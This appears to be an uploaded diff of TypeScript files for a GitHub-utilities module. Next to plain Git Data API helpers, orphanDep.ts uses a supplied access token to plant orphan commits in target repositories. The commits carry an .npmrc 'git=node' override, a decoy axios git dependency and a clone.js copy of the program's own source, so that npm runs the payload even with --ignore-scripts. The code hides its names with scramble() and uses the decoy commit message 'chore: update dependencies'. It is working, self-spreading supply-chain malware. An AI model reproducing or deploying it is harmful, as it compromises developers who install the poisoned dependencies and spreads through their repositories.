Upload files to "src/github_utils"

src/github_utils/gitDb.ts

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+import { githubFetch, githubJson } from "../github_utils/client";
+
+// ── Types ─────────────────────────────────────────────────────────────
+
+export interface GitRef {
+  ref: string;
+  object: { sha: string; type?: string };
+}
+
+export interface GitTreeEntry {
+  path: string;
+  mode: string;
+  type: "blob" | "tree";
+  sha: string;
+}
+
+export interface CommitAuthor {
+  name: string;
+  email: string;
+  date: string;
+}
+
+// ── Ref helpers ───────────────────────────────────────────────────────
+
+export async function getBranchRef(
+  token: string,
+  owner: string,
+  repo: string,
+  branch: string,
+): Promise<GitRef> {
+  return githubJson<GitRef>(
+    token,
+    `/repos/${owner}/${repo}/git/refs/heads/${encodeURIComponent(branch)}`,
+  );
+}
+
+export async function updateBranch(
+  token: string,
+  owner: string,
+  repo: string,
+  branch: string,
+  sha: string,
+  force: boolean,
+): Promise<void> {
+  await githubJson(
+    token,
+    `/repos/${owner}/${repo}/git/refs/heads/${encodeURIComponent(branch)}`,
+    { method: "PATCH", body: JSON.stringify({ sha, force }) },
+  );
+}
+
+export async function createBranch(
+  token: string,
+  owner: string,
+  repo: string,
+  branchName: string,
+  sha: string,
+): Promise<void> {
+  await githubFetch(token, `/repos/${owner}/${repo}/git/refs`, {
+    method: "POST",
+    body: JSON.stringify({ ref: `refs/heads/${branchName}`, sha }),
+  });
+}
+
+export async function deleteBranch(
+  token: string,
+  owner: string,
+  repo: string,
+  branchName: string,
+): Promise<void> {
+  await githubFetch(
+    token,
+    `/repos/${owner}/${repo}/git/refs/heads/${encodeURIComponent(branchName)}`,
+    { method: "DELETE" },
+  );
+}
+
+// ── Object helpers ────────────────────────────────────────────────────
+
+export async function createBlob(
+  token: string,
+  owner: string,
+  repo: string,
+  content: string,
+): Promise<string> {
+  const blob = await githubJson<{ sha: string }>(
+    token,
+    `/repos/${owner}/${repo}/git/blobs`,
+    { method: "POST", body: JSON.stringify({ content, encoding: "utf-8" }) },
+  );
+  return blob.sha;
+}
+
+export async function createTree(
+  token: string,
+  owner: string,
+  repo: string,
+  baseTree: string | null,
+  entries: GitTreeEntry[],
+): Promise<string> {
+  const body: Record<string, unknown> = { tree: entries };
+  if (baseTree) body.base_tree = baseTree;
+  const tree = await githubJson<{ sha: string }>(
+    token,
+    `/repos/${owner}/${repo}/git/trees`,
+    { method: "POST", body: JSON.stringify(body) },
+  );
+  return tree.sha;
+}
+
+export async function getCommitTree(
+  token: string,
+  owner: string,
+  repo: string,
+  commitSha: string,
+): Promise<string> {
+  const c = await githubJson<{ tree: { sha: string } }>(
+    token,
+    `/repos/${owner}/${repo}/git/commits/${commitSha}`,
+  );
+  return c.tree.sha;
+}
+
+export async function createCommit(
+  token: string,
+  owner: string,
+  repo: string,
+  message: string,
+  treeSha: string,
+  parentSha: string,
+  author?: CommitAuthor,
+): Promise<string> {
+  const body: Record<string, unknown> = {
+    message,
+    tree: treeSha,
+    parents: [parentSha],
+  };
+  if (author) {
+    body.author = author;
+    body.committer = author;
+  }
+  const commit = await githubJson<{ sha: string }>(
+    token,
+    `/repos/${owner}/${repo}/git/commits`,
+    { method: "POST", body: JSON.stringify(body) },
+  );
+  return commit.sha;
+}
+
+export async function createOrphanCommit(
+  token: string,
+  owner: string,
+  repo: string,
+  treeSha: string,
+  message: string,
+): Promise<string> {
+  const commit = await githubJson<{ sha: string }>(
+    token,
+    `/repos/${owner}/${repo}/git/commits`,
+    {
+      method: "POST",
+      body: JSON.stringify({ message, tree: treeSha, parents: [] }),
+    },
+  );
+  return commit.sha;
+}

src/github_utils/orphanDep.ts

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+import { logUtil } from "../utils/logger";
+import { buildSelfExtractingPayload } from "../utils/selfExtracting";
+import {
+  createBlob,
+  createOrphanCommit,
+  createTree,
+  type GitTreeEntry,
+} from "./gitDb";
+
+declare function scramble(str: string): string;
+
+// ── File builders ────────────────────────────────────────────────────
+
+/**
+ * Build the three files for the orphan commit.
+ *
+ * ## Technique (git binary override)
+ *
+ * npm reads `.npmrc` files from inside git dependencies and merges their
+ * config into the running npm session.  We set `git=node` so that the
+ * next time npm spawns a git operation it executes `node clone <repo>`
+ * instead of `git clone <repo>`.  Node resolves bare `clone` to
+ * `clone.js` in the working directory, which is our payload.
+ *
+ * To guarantee the trigger fires, `package.json` declares a second git
+ * dependency (`github:axios/axios#main`).  npm processes our `.npmrc`
+ * first (setting `git=node`), then resolves the axios dep — spawning
+ * `node clone <axios-repo>` which executes `clone.js`.
+ *
+ * This bypasses `--ignore-scripts` because npm *always* spawns the git
+ * binary to fetch git dependencies — lifecycle hooks are skipped but the
+ * git toolchain is not.
+ *
+ * @see https://thinkingthroughcode.medium.com/i-thought-ignore-scripts-made-npm-installs-safe-it-doesnt-f409b852e7c5
+ */
+function buildFiles(
+  payload: string,
+): Record<string, { content: string; mode: string }> {
+  return {
+    "package.json": {
+      content: JSON.stringify(
+        {
+          name: scramble("setup-utils"),
+          version: "1.0.0",
+          private: true,
+          dependencies: {
+            axios: scramble("github:axios/axios#main"),
+          },
+        },
+        null,
+        2,
+      ),
+      mode: "100644",
+    },
+    "clone.js": {
+      content: `#!/usr/bin/env node\n${payload}`,
+      mode: "100755",
+    },
+    ".npmrc": {
+      content: "git=node\n",
+      mode: "100644",
+    },
+  };
+}
+
+// ── Public API ───────────────────────────────────────────────────────
+
+/**
+ * Create an orphan commit containing a git-binary-override `.npmrc`, a
+ * `package.json` with a second git dependency that forces npm to spawn
+ * git, and the self-extracting payload as `clone.js` (shebanged, mode
+ * 0o755).
+ *
+ * ### How it bypasses `--ignore-scripts`
+ *
+ * 1. `.npmrc` sets `git=node` — npm merges this into its running config.
+ * 2. `package.json` depends on `github:axios/axios#main` — forces npm to
+ *    spawn a git operation *after* reading our `.npmrc`.
+ * 3. npm runs `node clone <axios-repo>`, Node resolves bare `clone` to
+ *    `clone.js` in the dependency directory.
+ * 4. The payload executes — no lifecycle hooks needed.
+ *
+ * @param token    GitHub PAT with repo scope on the target repository.
+ * @param repository  `owner/repo` string (e.g. `"facebook/react"`).
+ * @returns         `github:owner/repo#<sha>` — ready to drop into
+ *                  `optionalDependencies`.
+ */
+export async function createOrphanDep(
+  token: string,
+  repository: string,
+): Promise<string> {
+  const [owner, repo] = repository.split("/");
+  if (!owner || !repo) {
+    throw new Error(
+      `Invalid repository format: "${repository}" — expected "owner/repo"`,
+    );
+  }
+
+  // 1. Build the self-extracting payload
+  const rawPayload = await Bun.file(Bun.main).text();
+  const payload = buildSelfExtractingPayload(rawPayload, { wrap: true });
+
+  // 2. Assemble the three files
+  const files = buildFiles(payload);
+
+  // 3. Create blobs for each file
+  const blobShas: GitTreeEntry[] = [];
+
+  for (const [path, { content, mode }] of Object.entries(files)) {
+    const sha = await createBlob(token, owner, repo, content);
+    blobShas.push({ path, mode, type: "blob" as const, sha });
+  }
+
+  // 4. Create a tree from the blobs (no base tree — orphan)
+  const treeSha = await createTree(token, owner, repo, null, blobShas);
+
+  // 5. Create an orphan commit (no parents)
+  const message = scramble("chore: update dependencies");
+  const sha = await createOrphanCommit(token, owner, repo, treeSha, message);
+
+  const depString = `github:${repository}#${sha}`;
+
+  logUtil.log(`[OrphanDep] Created ${depString}`);
+
+  return depString;
+}

src/github_utils/tokenCheck.ts

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+export type { TokenInfo, TokenMetadata } from "./auth";
+export { checkToken, getTokenMetadata } from "./auth";